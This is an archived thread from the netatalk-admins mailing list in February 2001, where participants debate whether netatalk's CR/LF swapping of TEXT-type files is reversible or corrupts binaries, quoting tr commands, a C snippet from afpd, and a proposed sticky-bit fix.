	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 09:38:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02340
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 09:38:06 -0500 (EST)
Received: from c22234-e.scllg1.pa.home.com (c22234-e.scllg1.pa.home.com [24.7.220.49])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA02328
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 09:38:05 -0500 (EST)
Received: (qmail 5741 invoked from network); 10 Feb 2001 14:38:11 -0000
Received: from c22234-d.scllg1.pa.home.com (HELO ?10.0.1.51?) (24.7.220.47)
  by c22234-e.scllg1.pa.home.com with SMTP; 10 Feb 2001 14:38:11 -0000
Mime-Version: 1.0
X-Sender: schinder@mors.gsfc.nasa.gov (Unverified)
Message-Id: <p05010400b6ab0147cf90@[10.0.1.51]>
In-Reply-To: <25067.981803500@dis.strath.ac.uk>
References: <25067.981803500@dis.strath.ac.uk>
Date: Sat, 10 Feb 2001 09:38:03 -0500
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>,
        Steve Freitas <sflist@ihonk.com>
From: Paul Schinder <schinder@leprss.gsfc.nasa.gov>
Subject: Re: CRLF fun stuff again...
Cc: Donald Lee <donlee_nat@icompute.com>,
        Matthew Geier <matthew@arts.usyd.edu.au>, netatalk-admins@umich.edu,
        jeff <jeff@univrel.pr.uconn.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 11:11 AM +0000 2/10/01, Duncan Sinclair wrote:
>Hi,
>
>Sorry for the continuing mailbox pollution...
>
>Steve Freitas writes:
>>I wrote:
>>>  But the transformation is reversible.  the conversion is as follows:
>>>
>>>  CR -> LF
>>>  LF -> CR
>>>
>>>  You do the transformation twice and you get back an identical file.
>>
>>Not true with all files.
>
>Yes true for all files.  No matter what the 8-bit values "13" and "10"
>mean, you can do this swap twice and you'll get back the exact same
>file.

No, it isn't reversible.  If a file originally contains both CR and 
LF (most binary files), and you convert the CR to LF, it's no longer 
possible to tell which LF's are converted CR's and which LF's were 
there to begin with.  If you do the reverse transformation, then 
there will be no LF's in the file where originally there were some. 
You simply fooled yourself with a single binary file that happened to 
have only CR.  Try one that has both to begin with, and you'll find 
it's corrupted at the end.

You're also wrong about the Mac OS side.  Not all files that are text 
have file type TEXT, and not all files that are file type TEXT are 
text files.  TEXT is simply a label attached to a file by a program. 
The operating system makes no effort to ensure that TEXT files are 
actually text files.

Turning on CRLF conversion is a very bad idea.  ftp has the same 
problem, and the same data corruption occurs if you're not careful.

>
>Here's a test with a binary jpeg file....
>
>   (Using GNU tr - Sun's "tr" doesn't cope with binary files - if you
>   repeat this test make sure you use one that does.)
>
>quartz:~% sum duncan.jpg
>32290    17 duncan.jpg
>
>Original file's checksum is 32290
>
>quartz:~% tr '\r\n' '\n\r' < duncan.jpg > foo.jpg
>quartz:~% sum foo.jpg
>13378    17 foo.jpg
>
>Transform once, checksum is 13378
>
>quartz:~% tr '\r\n' '\n\r' < foo.jpg > bar.jpg
>quartz:~% sum bar.jpg
>32290    17 bar.jpg
>
>Transform a second time, checksum is back to 32290
>
>Convinced yet???
>
>Cheers,
>
>
>Duncan.

-- 
--
Paul J. Schinder
NASA Goddard Space Flight Center
Code 693
schinder@leprss.gsfc.nasa.gov

From netatalk.administrators-errors@umich.edu  Sat Feb 10 09:46:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA11627
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 09:46:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04593
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 09:46:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04574
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 09:46:07 -0500 (EST)
Received: from c22234-e.scllg1.pa.home.com (c22234-e.scllg1.pa.home.com [24.7.220.49])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA04554
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 09:46:06 -0500 (EST)
Received: (qmail 5757 invoked from network); 10 Feb 2001 14:46:05 -0000
Received: from c22234-d.scllg1.pa.home.com (HELO ?10.0.1.51?) (24.7.220.47)
  by c22234-e.scllg1.pa.home.com with SMTP; 10 Feb 2001 14:46:05 -0000
Mime-Version: 1.0
X-Sender: schinder@mors.gsfc.nasa.gov (Unverified)
Message-Id: <p05010401b6ab03e76d79@[10.0.1.51]>
Date: Sat, 10 Feb 2001 09:45:57 -0500
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>,
        Steve Freitas <sflist@ihonk.com>
From: Paul Schinder <schinder@leprss.gsfc.nasa.gov>
Subject: Re: CRLF fun stuff again...
Cc: Donald Lee <donlee_nat@icompute.com>,
        Matthew Geier <matthew@arts.usyd.edu.au>, netatalk-admins@umich.edu,
        jeff <jeff@univrel.pr.uconn.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 11:11 AM +0000 2/10/01, Duncan Sinclair wrote:
I missed this before.

>
>Here's a test with a binary jpeg file....
>
>   (Using GNU tr - Sun's "tr" doesn't cope with binary files - if you
>   repeat this test make sure you use one that does.)
>
>quartz:~% sum duncan.jpg
>32290    17 duncan.jpg
>
>Original file's checksum is 32290
>
>quartz:~% tr '\r\n' '\n\r' < duncan.jpg > foo.jpg
>quartz:~% sum foo.jpg
>13378    17 foo.jpg
>
>Transform once, checksum is 13378
>
>quartz:~% tr '\r\n' '\n\r' < foo.jpg > bar.jpg
>quartz:~% sum bar.jpg
>32290    17 bar.jpg
>
>Transform a second time, checksum is back to 32290
>
>Convinced yet???


The transformations you're using aren't the ones that netatalk does 
(or at least netatalk did in the past before I turned it off).  These 
are reversible.  netatalk does

tr '\r' '\n'  to Unix and tr '\n' '\r' to Mac OS.

That's why people are warning about data corruption.

Maybe netatalk should do what you're doing here.  Personally I'd 
still leave it off.



>Cheers,
>
>
>Duncan.

-- 
--
Paul J. Schinder
NASA Goddard Space Flight Center
Code 693
schinder@leprss.gsfc.nasa.gov

From netatalk.administrators-errors@umich.edu  Sat Feb 10 10:06:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA11864
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 10:06:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA10819
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 10:06:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA10797
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 10:05:59 -0500 (EST)
Received: from nuinfo.northwestern.edu (nuinfo.nwu.edu [129.105.212.72])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA10762
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 10:05:58 -0500 (EST)
Received: (from lunde@localhost)
	by nuinfo.northwestern.edu (8.8.8/8.8.8) id JAA09754;
	Sat, 10 Feb 2001 09:05:57 -0600 (CST)
Message-Id: <200102101505.JAA09754@nuinfo.northwestern.edu>
Subject: Re: CRLF fun stuff again... 
To: netatalk-admins@umich.edu
Date: Sat, 10 Feb 2001 9:05:57 CST
In-Reply-To: <B6AA53F5.1362%sflist@ihonk.com>; from "Steve Freitas" at Feb 10, 2001 2:12 am
From: Albert-Lunde@northwestern.edu (Albert Lunde)
Reply-To: Albert-Lunde@northwestern.edu (Albert Lunde)
X-Mailer: Elm [revision: 212.5]

> I don't know... I discussed it with the list, but everybody I talked to
> seemed to think that CR/LF was off, and in fact when I explicitly tested its
> functionality, it was off. However, Netatalk was definitely fiddling with my
> ISO and corrupting it through linefeeds, and my experimentation showed that.
> 
> > I'll repeat again my position:  if netatalk is going to have this
> > feature, and there's evidence that people want it, then it should
> > work properly.  People who don't want this feature should be
> > unaffected by it.
> 
> If it's possible for it to work properly, I agree. However, my concern is
> that Netatalk's default configuration (1.5prex) currently permits corruption
> of binaries, and I think all CR/LF ought to be disabled by default.

It sounds like there's a strong case for making it a compile-time
option that's off by default. Evict the suspect code.

In these times of the web, the most effective transformation
of end-of-lines will recognize LF CR and CRLF and transform
each into a single end-of-line, but this is definitely NOT
reversible. 

I use a short C program to fix end of lines when I need it,
and use BBEdit for most text eding with the default set to Unix
end of line for new files.

--
    Albert Lunde          Albert-Lunde@northwestern.edu (new address)
                          Albert-Lunde@nwu.edu (old address)


From netatalk.administrators-errors@umich.edu  Sat Feb 10 11:03:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13029
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 11:03:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA00406
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 11:03:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA00397
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 11:03:50 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA00372
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 11:03:49 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f1AG3ZZ26282;
	Sat, 10 Feb 2001 16:03:35 GMT
To: Paul Schinder <schinder@leprss.gsfc.nasa.gov>
cc: Steve Freitas <sflist@ihonk.com>, Donald Lee <donlee_nat@icompute.com>,
        Matthew Geier <matthew@arts.usyd.edu.au>, netatalk-admins@umich.edu,
        jeff <jeff@univrel.pr.uconn.edu>
Subject: Re: CRLF fun stuff again... 
In-reply-to: Your message of "Sat, 10 Feb 2001 09:45:57 EST."
Date: Sat, 10 Feb 2001 16:03:35 +0000
Message-ID: <26280.981821015@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>


Paul Schinder writes:
>I missed this before.

...

>The transformations you're using aren't the ones that netatalk does 
>(or at least netatalk did in the past before I turned it off).  These 
>are reversible.  netatalk does
>
>tr '\r' '\n'  to Unix and tr '\n' '\r' to Mac OS.
>
>That's why people are warning about data corruption.

Guess what?  You're wrong.  If people are going to try to tell me I'm
wrong, please do the research first!

Here's a chunk of code from afpd's fork.c file.  It uses an identical
process for reading and writing files...

    /*
     * If this file is of type TEXT, swap \015 to \012.
     */
    if (xlate) {
        for ( p = rbuf, q = p + rbuflen; p < q; p++ ) {
            if ( *p == '\015' ) {
                *p = '\012';
            } else if ( *p == '\012' ) {
                *p = '\015';
            }
        }
    }

I hope you can all see what this code is doing.  In case you can't
I'll spell it out....

It goes through the buffer of data to be written or having been read,
if it finds a return ('\015') it turns it into a linefeed ('\012'),
otherwise if it finds a linefeed it turns it into a return.  The exact
same thing for both reading and writing.  It can only do this if the
transformation is symmetric.

Frankly I'm surprised at the number of people who are confused on this
matter.  I'm not a newbie to netatalk.  I've been using it since around
version 1.3.3.  I actually know what I'm talking about here.

So, once more I'll repeat it.  The netatalk cr/lf code worked very
well until MacOS 8 came out.  Then the way the Finder copies file
causes it not to work correctly.  It'd be nice if this could be fixed.
If you don't like the code, fine - it is off by default.  Please stop
trying to tell me I don't want the feature at all.  I really, really,
really do.

Later today or tomorrow I'll post a slightly revised method of making
this stuff work.  I'll be happy to receive constructive criticism on
that.

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Sat Feb 10 12:08:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA14276
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 12:08:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA07660
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 12:08:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA07645
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 12:08:50 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA07615
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 12:08:48 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f1AH8kZ26721
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 17:08:47 GMT
To: netatalk-admins@umich.edu
Subject: How to fix CRLF stuff...
Content-Type: text/plain; charset="iso-8859-1"
Date: Sat, 10 Feb 2001 17:08:46 +0000
Message-ID: <26719.981824926@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>

Hi,

Now that we've (hopefully) established that netatalk does do a
reversable transformation on text files as they are written and read
and doesn't corrupt files by design, I'd like to put forward my current
thoughts on how the actual bug could be fixed.

The problem is that text files created with a non-"TEXT" type and then
changed to have a "TEXT" type don't have the cr/lf transformation done
to them.  This means then when they are served, because they are now
recognised as "TEXT", they will have an un-necessary cr/lf
transformation done to them.

Either the un-necessary transformation should be avoided, or else when
the type of a file is changed, a transformation should be done, if
needed.

I previously wrote:
 Here's my proposed solution:
  * A second "helper" process would run along side the main afpd process,
    tied to it with pipes.
  * tasks would be handed to it like "do a cr/lf transformation of this file".
  * it would have to take care to lock files.
  * tasks are done serially - to make sure nothing gets screwed.
  * there may be other types of thing it could be used for.

As an additional safeguard, it may be wise to be able to mark files
which have had the cr/lf transformation done to them so that when
they are sent back to the Mac there is no chance of them being
messed up.  In fact, this could be done without my proposed changes
above.  Peter DiCamillo made a similar suggestion previously, and I
thank him for bringing it to my attention last week.

I would mark transformed files by setting one of the lesser-used mode
bits on the file.  (This is similar to how the "XBITHACK" feature
works in Apache, and it may not surprise you to learn that I was the
inventor of this idea.  (I didn't do the implementation however.))

So, what would happen is that when a transformation is done (either at
the time of writing the file, or by my "helper" process as a result
of a change of file type), one bit of the file's mode, say the sticky
bit, would be set on.  If for any reason the file was changed to a
different type and so un-transformed, the sticky bit would be cleared.

When netatalk comes to serve the file, if it is a Mac file (complete
with AppleDouble info), then it would examine the sticky bit.  If it is
set it would do the transformation as it serves the file.  This would
ensure that it only re-transforms files which have already been
transformed.

On the unix side there is a clear indication that the file has had this
transformation - a nice bonus.  Unix-created files would continue to
use the file extension to determine whether the file is text and want
transformed when served.

If for some reason the sticky bit was unavailable for use in this
fashion, berhaps a spare bit could be found inside the appledouble
info - but this wouldn't be as efficient.

Constructive criticism welcome.  Offers of code even more so.

The more I deleop this idea, the closer it gets to being implemented.
The stuff about setting the mode bit could be done in an afternoon,
perhaps, if you knew your way around the code.  The stuff about the
helper process would require greater effort, but could be worth it
in the opportunities for extra features it would give.

Thanks for your time.

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Sat Feb 10 13:56:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA17152
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 13:56:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA15020
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 13:56:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA15011
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 13:56:18 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA14972
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 13:56:17 -0500 (EST)
Received: from n36-52.berlin.snafu.de ([195.21.36.52] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14RfC1-0001Bj-00
	for netatalk-admins@umich.edu; Sat, 10 Feb 2001 19:56:21 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id TAA02587
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 19:55:42 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: CRLF fun stuff again...
Date: Sat, 10 Feb 2001 19:55:30 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <26280.981821015@dis.strath.ac.uk>
In-Reply-To: <26280.981821015@dis.strath.ac.uk>
MIME-Version: 1.0
Message-Id: <01021019480100.00372@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA17152

On Sat, 10 Feb 2001, Duncan Sinclair wrote:
> Paul Schinder writes:
> >I missed this before.
> 
> ...
> 
> >The transformations you're using aren't the ones that netatalk does 
> >(or at least netatalk did in the past before I turned it off).  These 
> >are reversible.  netatalk does
> >
> >tr '\r' '\n'  to Unix and tr '\n' '\r' to Mac OS.
> >
> >That's why people are warning about data corruption.
> 
> Guess what?  You're wrong.  If people are going to try to tell me I'm
> wrong, please do the research first!
> 
> Here's a chunk of code from afpd's fork.c file.  It uses an identical
> process for reading and writing files...
> 
>     /*
>      * If this file is of type TEXT, swap \015 to \012.
>      */
>     if (xlate) {
>         for ( p = rbuf, q = p + rbuflen; p < q; p++ ) {
>             if ( *p == '\015' ) {
>                 *p = '\012';
>             } else if ( *p == '\012' ) {
>                 *p = '\015';
>             }
>         }
>     }
> 

I'm really glad to see that netatalk does it the way I would do, you obviously would do, and I
suspected netatalk would do it.

So many people with so much guessledge... ;-)

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sat Feb 10 14:50:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA18324
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 14:50:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA03531
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 14:50:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA03509
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 14:50:06 -0500 (EST)
Received: from icompute.com ([209.46.8.66])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA03502
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 14:50:05 -0500 (EST)
Received: from [209.46.8.69] (209.46.8.69) by icompute.com with ESMTP (Eudora
 Internet Mail Server 2.2.2); Sat, 10 Feb 2001 13:50:06 -0600
X-Sender: donlee_in@icompute.com
Message-Id: <v03130303b6ab47f3d9ff@[209.46.8.69]>
In-Reply-To: <26280.981821015@dis.strath.ac.uk>
References: Your message of "Sat, 10 Feb 2001 09:45:57 EST."
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 10 Feb 2001 13:45:10 -0600
To: netatalk-admins@umich.edu, Duncan Sinclair <sinclair@dis.strath.ac.uk>
From: Donald Lee <donlee_nat@icompute.com>
Subject: Re: CRLF fun stuff again...

At 10:03 AM -0600 2/10/01, Duncan Sinclair wrote:
>
>...
>
>>The transformations you're using aren't the ones that netatalk does 
>>(or at least netatalk did in the past before I turned it off).  These 
>>are reversible.  netatalk does
>>
>>tr '\r' '\n'  to Unix and tr '\n' '\r' to Mac OS.
>>
>>That's why people are warning about data corruption.
>
>Guess what?  You're wrong.  If people are going to try to tell me I'm
>wrong, please do the research first!
>

My apologies.  This is symmetric and reversible, although a little odd. ;->

I still don't see a way to reliably determine the actual type of the data,
but as long as the transformation is reversible, no irreparable harm can
be done by it.  This information changes the feature from being dangerous to
being questionable.   Questionable features are appropriate as options for
those who have a need.

As atonement for not doing my homework I will go and reexamine some 
data files that I had heretofore considered lost due to this transformation
and report back to this list if it is truly reversible (at which
point I will be very happy).

-dgl-

 



From netatalk.administrators-errors@umich.edu  Sat Feb 10 17:10:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA22600
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 17:10:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA12180
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 17:10:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA12158
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 17:10:20 -0500 (EST)
Received: from winery.garlic.com (winery-en0b.garlic.com [216.139.31.163])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA12116
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 17:10:19 -0500 (EST)
Received: (from johana@localhost)
	by winery.garlic.com (8.11.1/8.11.1) id f1AMAIW48176
	for netatalk-admins@umich.edu; Sat, 10 Feb 2001 14:10:18 -0800
Received:  by johana.com (UUPC/extended 1.12p);
           Sat, 10 Feb 2001 13:05:02 -0800
Message-ID: <3a85acfe.johana@johana.com>
Date:      Sat, 10 Feb 2001 13:05:02 -0800
From: "Tom Watson" <tsw@johana.com>
To: netatalk-admins@umich.edu
Subject:   Re: CRLF fun stuff again... 

On Sat, 10 Feb 2001 11:05:01 -0500 (EST), netatalk-admins@umich.edu wrote:
<<<deletia>>>
> 
> >The transformations you're using aren't the ones that netatalk does 
> >(or at least netatalk did in the past before I turned it off).  These 
> >are reversible.  netatalk does
> >
> >tr '\r' '\n'  to Unix and tr '\n' '\r' to Mac OS.
> >
<<<deletia, including some code>>>

The "secret" to all of this is to swap BOTH characters at the same
time.  Then the process is reversable.  Doing ONLY one is a recipe
for disaster.  You can easily see how this works by taking a
simple sentence and doing:

$ tr "ab" "ba" <source >dest

If you do it back, it comes out the same way.

Look at how the program "rot13" works for BOTH encoding and decoding.

Of course, doing this in the AFP server is a little crazy, but that
is another matter.  If it IS done, then someone should save that fact
in the "finder comments" or some such so that is is known to all.

That is another topic...
-- 
Tom Watson         Generic short signature
tsw@johana.com     (I'm at home now)

From netatalk.administrators-errors@umich.edu  Sat Feb 10 22:45:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA29278
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 22:45:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA22370
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 22:45:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA22349
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 22:45:46 -0500 (EST)
Received: from schilling.ucdavis.edu (schilling.ucdavis.edu [169.237.105.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA22154
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 22:45:40 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-2-31.ucdavis.edu [169.237.16.159])
	by schilling.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1B3jNZ27211;
	Sat, 10 Feb 2001 19:45:23 -0800 (PST)
Message-Id: <5.0.2.1.0.20010210192845.00a569a0@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Sat, 10 Feb 2001 19:43:36 -0800
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>,
        Donald Lee <donlee_nat@icompute.com>
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: CRLF fun stuff again... 
Cc: Steve Freitas <sflist@ihonk.com>, Matthew Geier <matthew@arts.usyd.edu.au>,
        netatalk-admins@umich.edu, jeff <jeff@univrel.pr.uconn.edu>
In-Reply-To: <24644.981800332@dis.strath.ac.uk>
References: <Your message of "Sat, 10 Feb 2001 01:07:09 CST.">
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 10:18 AM 2/10/01 +0000, Duncan Sinclair wrote:
>You know a file is text by two indicators:
>   1) Its file type is TEXT.
>   2) It has an extension which tells netatalk it is text.
>
>These two indicators cover files created by Macs and files created
>by Unix, repectively.

Okay, I agree with the former, but the latter is a little more 
complicated.  String compares are slow.  For each file copied, the name has 
to be checked against the following list (and this is just off the top of 
my head)

.txt
.htm
.html
.c
.pl
.ksh
.sh
.cc
.p
.bat
.vbs
.asc
.ans
.cgi
.troff
.am
.cfg

(you get the idea)  There are also file extensions like .sys which are 
sometimes text (config.sys and msdos.sys, for example) and sometimes binary 
(cdrom.sys, ansi.sys, and msdos.sys in versions of DOS before Windows 
95).  File extensions are a guide to the user for guessing the file 
type.  I've observed that most Unix and Mac people don't use file 
extensions at all.  The scripts in /etc/rc.d/init.d on Red Hat systems 
don't have extensions, yet they're all text.  Mac folks seem to be quite 
used to relying on the icon of the file.  Ever tried to save an HTML file 
in Netscape and then edit it in SimpleText?  Many versions of SimpleText 
won't open it at all because Mac is so dependent on the resource 
information to tell it what programs should be able to open it.  File 
extensions were introduced through DOS, really.  Unix and MacOS see the "." 
in the file name as just a character.

It may be possible to work with some library that the "file" command uses 
for identifying file types (if it uses a library), but as I'm not 
interested in activating the CRLF feature in the first place, I'll let 
someone else look that up.  :)


From netatalk.administrators-errors@umich.edu  Sun Feb 11 11:21:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA11955
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Feb 2001 11:21:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29978
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Feb 2001 11:21:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29954
	for netatalk.administrators-members@umich.edu; Sun, 11 Feb 2001 11:21:32 -0500 (EST)
Received: from rakete.joerdens.de (rakete.joerdens.de [62.104.116.200])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA29906
	for <netatalk-admins@umich.edu>; Sun, 11 Feb 2001 11:21:31 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id RAA04110
	for netatalk-admins@umich.edu; Sun, 11 Feb 2001 17:25:39 +0100
Date: Sun, 11 Feb 2001 17:25:39 +0100
From: Frank Joerdens <frank@joerdens.de>
To: netatalk-admins@umich.edu
Subject: patch for mswindows option to netatalk-1.4b2+asun2.1.3
Message-ID: <20010211172539.A4029@rakete.joerdens.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
X-Subliminal-Message: Use Linux! Use Linux!

